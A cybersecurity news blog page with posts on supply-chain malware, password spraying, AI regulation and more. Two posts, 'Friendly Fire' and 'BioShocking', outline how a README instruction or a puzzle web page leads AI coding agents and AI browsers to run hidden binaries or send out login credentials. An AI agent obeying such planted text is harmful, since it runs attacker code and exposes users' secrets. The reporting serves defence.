Search This Blog
Powered by Blogger.

Blog Archive

Labels

Footer About

Footer About

Labels

Load More
Trendy Right Now

Popular Posts

Showing posts with label Cyber Security. Show all posts
Software Supply Chain Security
AI Coding Agents AI Security Agents Claude Code Cyber Security Malicious Code Execution OpenAI Codex Prompt Injection Attack Software Supply Chain Security

AI Agents Built to Detect Malware Can Be Manipulated Into Running It


 

AI agents capable of identifying malicious software can be manipulated by the AI Now Institute to execute it, according to new research. The proof-of-concept attack, known as "Friendly Fire," demonstrates that autonomous AI coding agents, such as Claude Code from Anthropic and Codex from OpenAI, can be deceived into running malicious code while performing open-source security reviews. 

AI agents can approve and execute commands independently of the user without requiring user confirmation for every action, which is what this attack targets. Researchers contend that the vulnerability does not lie in the software version used by these agents, but rather in the way they interpret and react to instructions embedded within untrusted repositories rather than exploiting a software vulnerability. 

A comparison with conventional supply-chain attacks that hide malicious code within a repository was made by the researchers, who noted that when static analysis and manual review are performed, the repository itself can appear to be completely free of malicious code. By introducing the malicious payload at execution time, the AI agent follows embedded instructions, so traditional security tools cannot detect this technique.

By adding a seemingly harmless README.md instruction to an open-source project that recommended running a script entitled security.sh before submitting a pull request, attackers modified it. By launching a malicious binary hidden within a legitimate compiled Go file, the script silently executed on the host computer without triggering security warnings or approval prompts, allowing the malicious binary to execute on the system. 

According to the researchers, the attack is successful because the AI agent recognizes the instructions as a legitimate step in the process of installing software rather than an attempt to exploit the system maliciously. Once the recommended script has been executed, the payload will run under the same permissions that were provided for the developer or AI agent, potentially exposing credentials, environment variables, and other sensitive information. 

The procedure differs from previous prompt injection attacks, which relied on configuration files and often generated trust warnings, as this technique hides instructions inside standard documentation that is regularly read by developers and AI agents. It has been reported that both Claude Code and OpenAI Codex followed the embedded instructions during testing, while newer AI models executed the disguised binary upon detecting differences between the source file and the compiled executable. 

A laboratory proof-of-concept has been demonstrated, with no evidence of active exploitation in the field. In addition to excluding the malicious payload, the publicly released demonstration code does not attempt privilege escalation or lateral movement. These findings indicate that autonomous AI agents pose a greater challenge in terms of design rather than a problem that can be resolved by simply updating software. 

It is becoming more common for organizations to employ AI-powered coding assistants to review third-party software. Researchers recommend treating AI coding agents as privileged software, rather than simply assistants. Autonomous agents should not be permitted to execute commands on untrusted repositories, least-privilege access policies should be enforced, AI workflows should be isolated in sandboxed environments, and human approval should be required before running scripts or binaries recommended by project documentation. 

In accordance with the researchers, the issue is not related to any particular AI model, but a broader trust problem affecting autonomous coding assistants capable of executing shell commands. In addition to creating new attack surfaces if they are unable to reliably distinguish legitimate instructions from content controlled by the attacker, AI agents are becoming increasingly capable of cloning repositories, installing dependencies, and resolving setup issues independently. 

As autonomous AI systems are increasingly adopted in the software development and cybersecurity sectors, prompt injection attacks remain a major security threat. This study adds to a growing body of evidence that prompt injection attacks remain one of the greatest security risks. In light of the increasing autonomy of AI agents, organizations must balance automation and strong oversight in order to balance automation and security workflows. 

AI-driven attack techniques cannot be effectively countered until artificial intelligence (AI) systems can reliably discriminate between trusted and malicious instructions. Human verification and secure execution environments will therefore remain critical safeguards.
Read more »
MeitY
Apple App Store Battery Management System Bluetooth Vulnerability BMS Apps Cyber Security Cyber Threats E-Rickshaw Cybersecurity Electric Vehicle Security Google Play Store MeitY

Centre Orders Blocking of Battery Management Apps Exploited to Disable E-Rickshaws


After the Central Government discovered that seven battery management system (BMS) mobile applications were being misused to remotely disable batteries in electric vehicles and e-rickshaws, the Central Government has ordered the blocking of those applications. In multiple locations across India, this disruption disrupted services and enabled extortion. 


MeitY Secretary S. has directed Google and Apple to remove seven identified applications from their respective app stores on Android and iOS by the Ministry of Electronics and Information Technology (MeitY). In order to ensure applications that may threaten public safety or facilitate unlawful activities are not made available to users, Krishnan said app marketplaces must exercise due diligence. 

In response to reports that battery management apps primarily developed by Chinese companies for monitoring lithium-ion battery packs were being exploited by e-rickshaw drivers to shut down the vehicles while passengers were aboard. Authorities stated that while the applications are designed for proper battery management, they can be misused if battery systems are not properly protected by passwords or PINs. 

In the government's view, removing these apps from digital platforms will not eliminate the vulnerability completely, since Bluetooth connectivity is required in place of internet access to exploit this vulnerability. Thus, even after apps are blocked, unsecured battery management systems remain vulnerable to unauthorized access. Video clips circulated on social media showing e-rickshaws suddenly stopping on public roads attracted nationwide attention to this issue. 

The existing certification standards for e-rickshaws in India do not include cybersecurity requirements, which can result in potential misuse of connected battery systems. This vulnerability has already led to criminal activity. Police in Ujjain, Madhya Pradesh, arrested a suspect who has been accused of remotely disabling batteries from e-rickshaws and demanding compensation from their drivers. 

Local authorities claim the accused abused the flaw by deliberately immobilizing vehicles and charging drivers for assistance. A criminal offence involving intentionally disabling vehicles is considered to be an offence and can be prosecuted under applicable provisions of the Bharatiya Nyaya Sanhita (BNS) relating to criminal mischief. 

Concerns have been raised regarding the cybersecurity risk associated with connected electric vehicles and battery management systems following the incident. In order to prevent such misuse and safeguard public transportation operations, observers say stronger security controls are needed to prevent similar misuse, including authentication mechanisms and cybersecurity standards for electric vehicle components. 

A government intervention highlights the challenges facing connected electric mobility in terms of cybersecurity. Since software increasingly controls the functions of critical vehicle systems, stronger security standards, authenticated access controls, and continuous oversight will be critical in protecting drivers, passengers, and public infrastructure.
Read more »
Cybersecurity Policy
AI Governance Framework AI Risks AI technology Cyber Policy Cyber Response Framework Cyber Security Cybersecurity Policy

India Considers Separate AI Regulatory Framework as Government Signals Policy Shift

 

The Indian government is considering a law to govern artificial intelligence (AI) systems, signaling a shift from its previous approach of relying solely on existing information technology laws. Senior officials from the Ministry of Electronics and Information Technology (MeitY) stated that the current developments in this space are so significant that they require legislation. 

Speaking at an industry event this week, MeitY Secretary S. Krishnan said that consultations on laws governing AI had already begun. Both Krishnan and Union IT minister Ashwini Vaishnaw had previously stated that the government would consider separately legislating for AI at an appropriate time, and he added that the moment appeared to be now. 

Existing laws were largely sufficient to address deepfakes or AI-manipulated media, as well as misinformation, fraud, and other issues, he argued, but this was no longer the case as AI became more sophisticated and started to be integrated into critical industries. The new framework would provide guidance on the development of these systems while also protecting citizens, businesses, and critical infrastructure. 

While the government did not set a deadline for legislation, Krishnan noted that MeitY could begin drafting proposals for approval, with the framework then being debated and approved by Parliament. India is not alone in this endeavor as policymakers globally are considering steps to govern AI. A growing number of countries have been looking at laws and policies that seek to address potential risks to privacy, national security, intellectual property, and more while also encouraging innovation. 

The move also marks a notable shift in approach for India, which has largely promoted a lax regulatory environment for technology and adopted a voluntary approach to AI governance, with laws and policies focusing on promoting innovation and adopting existing frameworks for oversight. 

A separate law could add another layer of oversight while also supporting India’s broader ambitions in this space, including IndiaAI Mission, as it looks to promote and bolster its AI ecosystem alongside its digital transformation initiatives. 

Industry stakeholders will also be able to contribute to the process as the government considers its proposals. The law would promote responsible innovation and address risks posed by increasingly ubiquitous and sophisticated AI systems, officials added.
Read more »
Digital Sovereignty
Cloud Computing Cloud Data cloud data security Cyber Security data security data sovereignty Digital Sovereignty

Sovereign File Architecture Gains Importance as Enterprises Rethink Cloud Data Control

 

Cloud computing changed enterprise IT by enabling organizations to achieve significant storage scalability and cost savings. Companies quickly embraced the idea of storing data in the cloud because of its flexibility and accessibility. However, because information remains on physical servers, companies are discovering that data is stored in a specific location subject to local legislation. 

This led to the concept of sovereign file architecture, one of the strategies by which organizations seek to store information considering jurisdiction as a critical factor. The data storage strategy is now focused on achieving file sovereignty and residency rather than convenience. Data sovereignty differs from privacy in that the former concerns the primary authority that possesses the right to store and access information, while the latter relates to its geographic location. 

While the early cloud computing innovators placed their data with the most accessible and cost-effective infrastructure, there was little information on where exactly it was stored. This created a sovereignty gap, as the organizations had limited insight into who could access the information and the applicable legal frameworks. At the same time, there are more data residency and sovereignty risks today as countries impose strict regulations and trade barriers while dealing with cybersecurity threats and geopolitical tensions. 

Data residency is a crucial consideration for many organizations, particularly those dealing with sensitive data and operating at a multinational level. Disasters, government restrictions, or geopolitical tensions may render some servers inaccessible, thus necessitating the need to store data in different jurisdictions. Enterprises are now prioritizing storage solutions that give them the most control by allowing them to migrate or place their information as they see fit. 

These factors are driving companies to adopt sovereign file architecture, which is designed to decouple file management from storage. By doing so, organizations satisfy the need to store data in several jurisdictions and maintain flexibility regarding where to store sensitive or non-sensitive information. Enterprises can also utilize a hybrid strategy consisting of private and public storage methods, thus balancing costs and file security. 

Sovereign file architecture allows organizations to remain compliant with the increasingly stringent data residency and sovereignty laws enforced by governments worldwide. Consequently, there is now a growing preference for sovereign file architectures over other options when considering factors such as transparency, legal protection, and control.
Read more »
Residential Proxy
Cyber Security Device Hijacking Free VPN Network Security Residential Proxy

Free VPNs and Streaming Apps Turn Your Device Into a Criminal Proxy

 

Free VPNs and streaming apps are quietly transforming everyday devices into tools for cybercriminals. Unwitting users are allowing their internet connections to be hijacked and used to mask illegal activity, exposing them to serious security and legal risks. While not all residential proxies are illegal, abusers take advantage of anonymity coupled with cheap, unauthorized residential proxies to perform tasks that may be unethical, if not outright illegal at times. 

Research from Infoblox Threat Intel indicates that the situation is more dire than previously assumed, as nearly two thirds (65%) of its Threat Defense Cloud customers made DNS queries to domains used to access or orchestrate residential proxy networks in 2026, totaling over 500 billion such queries per month. Criminals exploit these proxies for activities like fraud, online ad fraud, fake account creation, unauthorized data scraping, and bypassing regional restrictions on streaming platforms. Because their traffic blends in with legitimate user requests, businesses often struggle to identify and block these threats until real damage has occurred. 

Most users are unaware that their devices are being weaponized. Permission is either buried in the fine print of end-user license agreements or never properly obtained at all. Once inside a network, these apps can silently forward requests from threat actors, who benefit from the anonymity of a residential IP. Victims may later face issues such as flagged accounts, CAPTCHA overload, or extra verification steps, as their IP addresses get tagged by reputation systems for suspicious behavior. 

Certain categories of software are higher risk. Free VPNs, cheap IoT devices from unknown manufacturers, screen-recording or streaming software, and browser extensions can all serve as entry points for residential proxy abuse. These tools often lack transparency about their data and traffic practices, prioritizing monetization over user safety. 

Avoiding this is easier said than done, but there are ways to reduce susceptibility to this kind of abuse. A software audit should be your first line of defense. Knowing what runs on all your devices and whether it is trustworthy or not is key to preventing exposure. Investing in a router or software service that blocks such requests would also go a long way, as would leveraging Protective DNS to monitor your network. To start, users can also use services to monitor and check their IP's risk profile, allowing them to determine whether they are already a victim of abuse.
Read more »
Malicious Software
Cyber Security Cyberattacks Developer Security Korea Malicious actor Malicious Package Malicious Software

North Korean PolinRider Campaign Spreads Malicious Packages Across npm, Go, Chrome, and Packagist

 

North Korean threat actors behind the Contagious Interview campaign have been observed persistently targeting software supply chains by distributing more than 100 malicious packages and browser extensions. Researchers note that the PolinRider campaign is targeting software developers and those in the cryptocurrency space by leveraging popular open-source repositories and developer tools. 

The cybersecurity researchers at Socket have discovered 108 unique malicious packages and browser extensions, resulting in 162 release artifacts. Within the discovered malicious code, the researchers have identified 19 npm packages, 10 Packagist (Composer) libraries, 61 Go modules, and one Google Chrome extension. Researchers note that the threat actors continue to compromise developer accounts and push out malicious code updates each time they gain access to a software repository. 

Researchers have linked the PolinRider campaign to the Contagious Interview supply chain attack, which has been actively targeting developers since at least 2023. In most cases, North Korean hackers impersonate recruiters or business partners on social media platforms and code repositories, luring targets into installing malicious software during the interview process. 

The PolinRider threat group was first detected this year when cybersecurity analysts identified hundreds of GitHub repositories with hidden JavaScript code that downloads an updated version of the BeaverTail malware. According to the researchers, almost 2000 GitHub repositories and 1000+ unique owners have been compromised by the PolinRider campaign as of April 2026. 

Researchers suggest that attackers are not compromising the GitHub servers directly but rather hijacking developer accounts on the platform. The initial access to the developer accounts is achieved through either the domain takeover or account recovery process. Attackers compromise the developers’ Visual Studio Code accounts or npm account, where they then install a malicious Visual Studio Code extension or an npm package. 

After the initial compromise, the attackers’ BeaverTail malware searches the project directory for the most common JavaScript configuration files and other relevant files such as Tailwind CSS, Next.js, Babel, and ESLint files. It then stealthily inserts malicious code into the files. Additionally, the malware tampers with the Git commit history to hide its tracks by overwriting commit messages and timestamps. 

The latest updates to the BeaverTail malware now download the second stage of encrypted payloads from the blockchain network. Attackers have been observed using TRON, Aptos, and BNB Smart Chain blockchain networks to host the payloads. The decrypted payloads then deploy remote access malware, including DEV#POPPER RAT and OmniStealer, to exfiltrate data from the compromised systems. Researchers recommend that developers who have installed any of the compromised packages should treat their systems as compromised.

The users should update their compromised accounts, including SSH keys and tokens, from a different machine if possible. Additionally, the developers should delete the malicious versions of the packages and re-install the project dependencies using a trusted package manager lock file. Lastly, the developers should review their commits, tasks, and files for any suspicious activities or unauthorized changes.
Read more »
Zero-day Defense
antivirus software Cyber Security Threat Intelligence Zero-day Defense

AI-Powered Antivirus: How Next-Gen Software Predicts and Stops Threats

 

Antivirus software has undergone a profound transformation, shifting from reactive signature matching to proactive behavior prediction. Where traditional tools once relied on databases of known malware fingerprints, modern solutions now leverage machine learning, behavioral analysis, and real-time monitoring to identify suspicious activity before an attack fully unfolds. This evolution is essential as cybercriminals deploy polymorphic code, fileless malware, and zero-day exploits faster than legacy defenses can adapt. 

Historically, antivirus programs functioned like a bouncer checking IDs against a blacklist of known troublemakers. If a file matched a stored signature, it was blocked; if not, it slipped through undetected. This model worked when malware evolved slowly, but today’s threat landscape moves at lightning speed. Polymorphic malware mutates its code with each infection, metamorphic variants rewrite themselves entirely, and zero-day attacks exploit freshly discovered vulnerabilities before patches exist. Signature databases, while still useful, increasingly lag behind the pace of malicious innovation, leaving systems exposed to novel or rapidly changing threats. 

Modern antivirus flips the script by focusing on behavior rather than identity. It monitors API calls, memory access patterns, encryption bursts, and unusual network traffic to spot anomalies. For instance, a process that suddenly begins locking files across a network, disabling security services, or contacting unfamiliar servers at odd hours raises red flags—even if it has no known signature. This behavior-first approach is critical against ransomware and fileless attacks that operate in memory or hijack legitimate tools to avoid detection. Anomaly detection establishes a baseline of “normal” system activity and alerts on deviations, enabling early intervention before damage spreads. 

Machine learning supercharges this capability by training models on vast datasets of both clean and malicious files. These algorithms learn subtle patterns linked to malware—suspicious code structures, odd execution paths, or risky permission requests—and assign risk scores to files and processes. Decision trees, support vector machines, and neural networks each contribute to layered evaluations that reduce false negatives for unseen threats. Companies like Microsoft, CrowdStrike, and SentinelOne deploy such models at scale, continuously refining them with telemetry from millions of endpoints. The result is a system that generalizes from past attacks to catch new ones, even without an exact signature match. 

The ultimate aim is prediction: intercepting malware in its earliest stages using sandboxing, dynamic analysis, and integration with broader security stacks like endpoint detection and response (EDR). Suspicious files are detonated in isolated environments to observe their behavior safely, while EDR tools trace attack chains across networks. Yet AI is a double-edged sword—attackers also use it to craft evasive malware that adapts to detection systems. False positives and privacy concerns from heavy telemetry remain challenges. For most users, built-in tools like Microsoft Defender and Apple’s XProtect offer strong baseline protection, but layered security and user vigilance against phishing are still essential.
Read more »
password spray attack
Azure CLI Cyber Security Cybersecurity Huntress MFA Bypass Microsoft 365 OAuth ROPC password spray attack

Massive Azure CLI Password Spray Campaign Targets Microsoft 365, Over 81 Million Login Attempts Detected

 

Cybersecurity company Huntress has uncovered a large-scale password spray campaign targeting Microsoft 365 environments through the Azure CLI, resulting in millions of malicious login attempts and multiple account compromises.

According to the company, between June 12 and June 21, attackers carried out more than 81 million login attempts against customer environments. The campaign led to the compromise of 78 user accounts across 64 organizations.

During the two-week period, threat actors were found compromising between two and four accounts each day. However, activity surged around June 22, when 23 organizations were reportedly affected in a single spike.

Huntress' investigation revealed that the majority of the login attempts originated from Autonomous System (AS) 32167, which is associated with internet hosting provider LSHIY LLC.

“These attacks are part of a large wave of credential spray attacks across a few different ASNs. In the past six months, Huntress has observed the volume of credential spray attacks increase by over 155 times across our customer base,” the cybersecurity company says.

The company also observed a sharp increase in password spray attacks during late May and early June, impacting multiple organizations. Huntress believes the campaign primarily relied on previously compromised username-password combination lists.

As part of the attack, the threat actors exploited the OAuth Resource Owner Password Credentials (ROPC) authentication flow to validate user credentials. Although this authentication method has been deprecated in OAuth 2.1, it still allows attackers to obtain a new user-delegated access token when valid credentials are provided.

Because of this authentication flow, attackers were able to compromise accounts even when multi-factor authentication (MFA) was enabled, provided that MFA policies were not configured to protect the OAuth ROPC authentication process.

“ROPC is considered problematic for several reasons, but one of those reasons is that it doesn’t offer support for modern auth flows like MFA or SSO. That means, as we saw in this campaign, ROPC sends the password straight to the /token endpoint with no interactive MFA prompt,” Huntress explains.

Further analysis of the affected environments showed several weaknesses in MFA implementation. In some organizations, MFA was applied only to specific cloud applications or user groups. Others enforced MFA only for logins from untrusted locations, while some had deployed MFA policies that were never actively enforced.

“It’s worth noting that eight businesses impacted by the campaign had no MFA policy at all. While threat actors in this campaign were able to get in despite MFA being set up, the takeaway should not be that MFA doesn’t work at all; instead, organizations should ensure that their MFA policies are properly configured to address the authorization flow used across these incidents,” the cybersecurity firm notes.

Huntress also traced the attack traffic to IPv6 address ranges linked to LSHIY, an internet infrastructure provider registered in Hong Kong, Wuhan, China, and New York. Previous reports have also associated IPv6 ranges operated under AS32167 and AS955 with infrastructure originating from China.

The cybersecurity firm said it reported the malicious activity to LSHIY through the provider's abuse reporting mechanism but did not receive any response.
Read more »
iOS
AI technology AI Tool Apple Apple Privacy Automation Cyber Security Data Collection Siri iOS

Apple Expands AI in iOS 27 with Smarter Everyday Features Beyond Siri

 

Apple is expanding its artificial intelligence strategy beyond Siri with iOS 27 by integrating AI across its apps and services instead of relying on a standalone chatbot. The new features are designed to simplify everyday tasks through automation while giving users control and maintaining Apple’s privacy-first approach. 

One of the key additions is Bill Splitting, which uses Apple Cash to divide restaurant bills. After scanning or uploading a receipt, Apple Intelligence identifies ordered items, quantities, taxes, tips, and the total amount. Through Messages, users can select what they ordered, allowing everyone to pay their share without manually calculating costs. Apple is also enhancing account security with its Passwords app. 

The feature can detect compromised or weak credentials exposed in data breaches, recommend stronger passwords, and securely update them on supported websites without requiring users to manually log in and change each password. The Messages app is gaining AI-powered suggestions that help users complete common tasks. It can recommend photos when someone asks about a past event, suggest creating reminders when someone requests an item, and prompt users to add meetings or dinner plans to their Calendar without leaving the conversation. 

A new Call Context feature will display useful information, such as booking confirmation numbers stored in Mail, during customer service calls. Apple says all processing happens on the device, ensuring personal information remains private. The Shortcuts app is also becoming easier to use by allowing users to create automations using natural language. Instead of manually building workflows, users can simply describe what they want, such as updating their calendar, controlling smart home devices, or sharing their ETA with family members.  

Additional iOS 27 features include AI-powered tab organization in Safari, which groups related webpages by topic, and smarter Home app notifications that combine multiple smart home events into a single alert. Apple has also improved search within the Home app to help users quickly find important camera clips, such as package deliveries. Together, these updates highlight Apple’s broader AI vision of embedding intelligence throughout its software rather than limiting it to Siri. 

By integrating AI into familiar apps, the company aims to make daily tasks faster, simpler, and more secure while continuing to prioritize user privacy.
Read more »
Gemini
AI BioShocking ChatGPT Claude Cyber Security Gemini

BioSchocking Attacks Tricked AI-powered Browsers into Data Theft


A new prompt injection termed “BioShocking” can manipulate AI-based browsers into treating malicious actions as a video game, and give away your login credentials. The technique was discovered by experts at security firm LayerX. The experts tricked six AI-powered browsers and assistants into recording users’ credentials and sending them to the threat actor. 

The browsers include:

ChatGPT Atlas from OpenAI

Comet from Perplexity

Anthropic’s Claude browser

Fellou

Genspark browser

Sigma browser

LayerX experts made a proof-of-concept (PoC), which was tested against these agentic AI browser products. The findings revealed that only one browser addressed the issue after receiving the report.

What is an AI browser?

An AI browser can streamline the entire workflow for the users. If you switch it to agent mode, it can click type, and visit sites that the user has already logged into. Access is the key point hare, which also becomes the problem.

BioShocking attack tactic

Experts made a (PoC) in which an infected webpage showed a BioShock-themed puzzle that rewards wrong answers. This tricks the browser that normal rules are not applicable. 

The trap works because of how these AI-powered browsers read. The webpage and instruction surface as a single stream of text, which allows a malicious page access in commands mimicking ordinary content or game rules. The agent can not tell which is which. Experts have termed this indirect prompt injection.

Tricking the browser

For instance, the compromise starts with a web page made as a puzzle. 3+4+=9 is a wrong answer but the browser rewards it. When the agent accepts that wrong answer is the reward, it follows game puzzle logic not security logic. Following this, the puzzle asks the browser to record login credentials. All six browsers could not flag it as something malicious. To win the game, the agent is commanded to go to a GitHub repository and share the data in the code, such as sensitive data like passwords.

When the link is sent to the target's GitHub repository, it retrieves SSH login credentials and sends them to the hackers. The main issue here is that browsers can’t differentiate between real scenarios and malicious fictional ones. 

According to LayerX, “Once the agents figured out the rules and learned that 'incorrect' actions are acceptable, they were no longer tied to reality.” “When tasked with the final step of the puzzle – compromising user credentials – all 6 agents failed to identify it as going against their safety guardrails,” the experts continued.

The PoC did not execute any malicious commands but warned that it could do so.

AI vendors’ response

According to experts, only OpenAI implemented a working patch for BioShocking in its browser.

Anthropic tried to fix the issue on its chrome login, but the patch was not working against the PoC. Perplexity did not fix the issue, and closed the report. 

LayerX advises that AI vendors should add specific user acknowledgement for sensitive work, and stronger security checks.

Read more »
Strategic Deal
Accenture Cyber Security Dragos Strategic Deal

Accenture Buys Cybersecurity Firms Dragos, runZero, NetRise for $4.18 Billion

 

In a landmark move to fortify its cybersecurity capabilities, Accenture has announced a $4.18 billion deal to acquire a majority stake in industrial cybersecurity leader Dragos, alongside full ownership of asset intelligence firm runZero and device security specialist NetRise. This strategic acquisition spree underscores Accenture’s ambition to expand beyond traditional consulting services and establish itself as a comprehensive provider of software-driven cybersecurity solutions, particularly for critical infrastructure sectors vulnerable to AI-powered cyber threats and geopolitical risks. 

The timing of the deal reflects both opportunity and necessity. While global consulting demand has softened—partly due to the ongoing Iran war impacting Middle East operations—cybersecurity remains a high-growth domain with surging client investment. Accenture, already operating a $10 billion cybersecurity business, sees industrial and operational technology (OT) security as a key frontier. By integrating Dragos’s OT threat monitoring, runZero’s real-time asset discovery, and NetRise’s embedded device security, the firm aims to deliver end-to-end protection for energy grids, manufacturing facilities, transportation systems, and other mission-critical environments increasingly targeted by state-sponsored and criminal hackers.

Dragos brings deep expertise in securing industrial control systems, with a platform widely used by utilities and heavy industries to detect and respond to OT-specific threats. runZero complements this with advanced asset intelligence, enabling organizations to maintain accurate, dynamic inventories of all connected devices—a foundational requirement for effective cybersecurity in complex, hybrid IT-OT environments. NetRise adds another critical layer by securing firmware and embedded systems, which are often overlooked but increasingly exploited attack vectors. Combined, these three companies contribute approximately $208 million in annual recurring revenue and significantly enhance Accenture’s software-led service portfolio. 

The transactions are structured to close by August or September 2026, subject to regulatory approvals and standard closing conditions. Accenture’s majority stake in Dragos—rather than full acquisition—suggests a collaborative approach that preserves the firm’s entrepreneurial agility while leveraging Accenture’s global scale and client network. Full ownership of runZero and NetRise, meanwhile, allows deeper integration into Accenture’s existing cybersecurity and cloud practices. This hybrid model reflects a broader industry shift where consultancies blend strategic partnerships with outright acquisitions to rapidly scale niche capabilities without disrupting innovation cultures. 

For the cybersecurity market, Accenture’s move signals intensifying competition among large professional services firms to capture share in the booming industrial security segment. Enterprises, especially in critical infrastructure, stand to benefit from more integrated offerings that combine strategy, implementation, threat intelligence, and managed services under a single provider. However, investor reaction has been cautious, with Accenture’s shares dropping over 13% following the announcement, partly due to weaker-than-expected quarterly guidance tied to geopolitical headwinds. Still, the $4.18 billion bet highlights Accenture’s long-term conviction that cybersecurity—particularly in the industrial realm—will remain a cornerstone of digital transformation and risk management in the AI era.
Read more »
Meta Platforms
Android Android Update Backup Backup Protection Chat Apps Cyber Security Data Backup Data Management Google Updates Meta Platforms

WhatsApp Tests New Android Chat Backup Management Feature to Improve Google Drive Storage Control

 

Managing WhatsApp backups on Android might become significantly easier in the future as the messaging platform prepares new solutions to give users more control over their data. The upcoming update will allow people to organize and delete old backups, thus saving space on their devices and ensuring a better management of information stored on Google Drive. 

WhatsApp has been working on the tool for quite some time, while it has not been publicly available yet. Reporters found out about the future feature as they explored the latest beta version of the app. The new tool will appear in the Backup section and will enable users to delete old backups directly from WhatsApp, thus providing more space for data stored on Google Drive. 

This update will make managing storage much easier for millions of Android users who experience difficulties deleting excess data from Google Drive. The update comes as WhatsApp continues working on new ways to improve its cloud backup system. Last year, reporters learned about the company’s plan to create its cloud storage system. That way, WhatsApp users will be able to store their backups on Google Drive or the company’s cloud. 

According to the publication, WhatsApp’s storage will offer 2 gigabytes of space for free, and an additional 10 gigabytes can be acquired for a small fee. Moreover, regardless of the storage method, WhatsApp backups will be end-to-end encrypted. The encryption can be supplemented by a passkey, a regular password, or a 64-digit code. At the same time, WhatsApp has not abandoned its reliance on Google Drive. The application updates in 2021 demonstrated Android users’ demand for more control over their WhatsApp backups. 

Developers worked on ways to meet the users’ requirements and made the new in-app management system more accessible by adding shortcuts to Google Drive’s management system and Android’s built-in settings. In the same vein, Google has also been working on ways to provide more convenience and flexibility for Android users. Recently, Android users have received an additional tool to manage WhatsApp backups. 

With version 26.23 of Google Play Services, users gained the ability to view and control their WhatsApp backups directly from their device’s Settings menu. Thus, the Settings page now offers access to WhatsApp backups without having to open the messaging app. Right now, WhatsApp users can back up their chats, media files, voice notes, and other content to Google Drive. The application can automatically perform backups every day, weekly, or monthly. 

To restore a backup, one has to reinstall WhatsApp on their device and log in with their Google and WhatsApp account. The upcoming update will allow Android users to manage backups directly in WhatsApp, complementing Google’s newly introduced settings. The new system for managing WhatsApp backups will enable Android users to delete unwanted backups directly inside the application. 

That way, the update will enable more control over the backups, which will help the users that have multiple devices or simply change their smartphones too often. Having more than one phone results in multiple backups, whereas excessive WhatsApp backups consume more space on Google Drive. Though WhatsApp has not announced when the update will be released, it should come in the near future. 

After Google released its new system that allows Android users better control over WhatsApp backups, the update can be available to users soon. If the update arrives in 2022, Android users will appreciate the additional flexibility and convenience of managing their WhatsApp backups while keeping their data safe and secure.
Read more »
UAE
Children Privacy Cyber Security Online Safety Social Media Ban UAE

UAE Becomes First Arab Nation to Ban Social Media for Children Under 15

 

The United Arab Emirates has become the first Arab nation to impose a comprehensive ban on social media use for children under the age of 15, marking a significant milestone in digital child protection. Announced in mid-June 2026 through a cabinet resolution, the policy prohibits minors below 15 from creating, using, or managing personal accounts on platforms like Instagram, TikTok, Snapchat, and Facebook. 

This decision aligns the UAE with countries such as Australia, Britain, and Canada that have recently tightened online safety rules amid growing concerns about social media's impact on young people's mental health. Under the new regulations, children under 15 are completely barred from accessing interactive social media features, including posting content, commenting on posts, sharing material, or joining public groups and open channels. 

The ban is absolute and cannot be circumvented through parental or caregiver consent, representing a stricter approach than previous guidelines. For teenagers aged 15 and 16, limited access is permitted but comes with enhanced safeguards, including age-appropriate content controls, restrictions on interactions with strangers, screen-time management tools, and mandatory parental supervision features. 

Social media platforms operating in the UAE must now implement robust age-verification systems, including digital identity checks and AI-supported technologies, with self-declared ages explicitly rejected as valid proof. Companies have been given a 12-month transition period ending December 31, 2026, to identify, monitor, and disable accounts belonging to underage users. Failure to comply with these requirements could result in significant penalties, including partial or full blocking of non-compliant services within the country, with enforcement overseen by the Telecommunications and Digital Government Regulatory Authority.

The resolution builds upon Federal Decree-Law No. 26 of 2025 on Child Digital Safety, which came into force on January 1, 2026, and applies to all digital platforms that operate in or have users within the UAE, regardless of where the company is headquartered. These regulations also restrict the collection of personal data from children under 13 without verifiable parental consent and prohibit platforms from using minors' information for targeted advertising or behavioural profiling. The measures are designed to protect children from inappropriate content, online risks, excessive social media use, and misuse of personal data while fostering healthier digital habits. 

The policy has immediate relevance for the UAE's large expatriate population, including over 3.5 million Indians residing in the country, many of whom have school-aged children using social media platforms. In response, Dubai has launched a nationwide initiative aimed at promoting healthy technology use among young people and supporting parents in adapting to rapid technological changes. Authorities emphasise that digital balance does not mean rejecting technology but rather helping children and families use it in ways that support their wellbeing and growth. 

Read more »
password spray attack
Azure cybersecurity Cyber Security Microsoft account compromise Microsoft Azure CLI OAuth ROPC password spray attack

Over 81 Million Azure CLI Login Attempts Detected in Massive Password Spray Attack, 78 Microsoft Accounts Compromised

 

iCybersecurity researchers have uncovered a large-scale automated password spray campaign targeting Microsoft's Azure Command-Line Interface (CLI), resulting in the compromise of dozens of Microsoft accounts across multiple organizations.

According to cybersecurity firm Huntress, the attacks originated from the IPv6 address range 2a0a:d683::/32, which is operated by internet infrastructure provider LSHIY LLC (AS32167).

"Between June 12 and June 26, the threat actor behind it made more than 81 million login attempts and successfully compromised at least 78 Microsoft accounts across 64 organizations," Huntress said in a statement. "The targeting of these attacks seems to be based entirely on password prevalence on compromised password combo lists, and is not specific to business type or industry."

Researchers noted that the campaign stands out not only because of its scale but also because many of the affected organizations had Conditional Access Policies (CAPs) enabled. The attackers exploited the deprecated Resource Owner Password Credentials (ROPC) OAuth flow, allowing them to bypass certain Conditional Access protections.

ROPC is an outdated OAuth 2.0 authentication method in which users provide their usernames and passwords directly to a client application. The application then exchanges these credentials with an authorization server to obtain an access token. The authentication method was officially deprecated under OAuth 2.1 due to its security risks.

Microsoft has long advised organizations against using the ROPC authentication flow because it does not support multi-factor authentication (MFA).

"In most scenarios, more secure alternatives are available and recommended," Microsoft states. "This flow requires a very high degree of trust in the application, and carries risks that aren't present in other flows. You should only use this flow when more secure flows aren't viable."

Huntress found that successful credential and token spray attacks occurred consistently between June 12 and June 21, 2026, compromising roughly two to four accounts each day. On June 19, attackers breached 12 user accounts, while the campaign intensified significantly on June 22, affecting 30 identities across 23 organizations.

Overall, the attackers compromised 78 user accounts spanning 64 organizations. Most of the malicious login attempts originated from infrastructure associated with LSHIY LLC, with some IP addresses resolving to the United States and others to China.

"These attacks are part of a large wave of credential spray attacks across a few different ASNs," Huntress said, adding that it has witnessed the volume of credential spray attacks surge by over 155 times across its customer base. "Attacks surged in particular in late May through early June, with a current mean value of about 1,964 failed attacks per month per Huntress-protected tenant."

Investigators believe the attackers primarily relied on previously leaked username and password combinations that organizations had failed to change after earlier data breaches. By exploiting the ROPC authentication flow, threat actors successfully accessed enterprise accounts even when MFA had been deployed, provided the security policies were not configured to cover Azure CLI ROPC logins.

The campaign succeeded in environments where:

  • MFA was enforced only for selected cloud applications instead of all cloud apps, leaving Azure CLI logins unprotected.
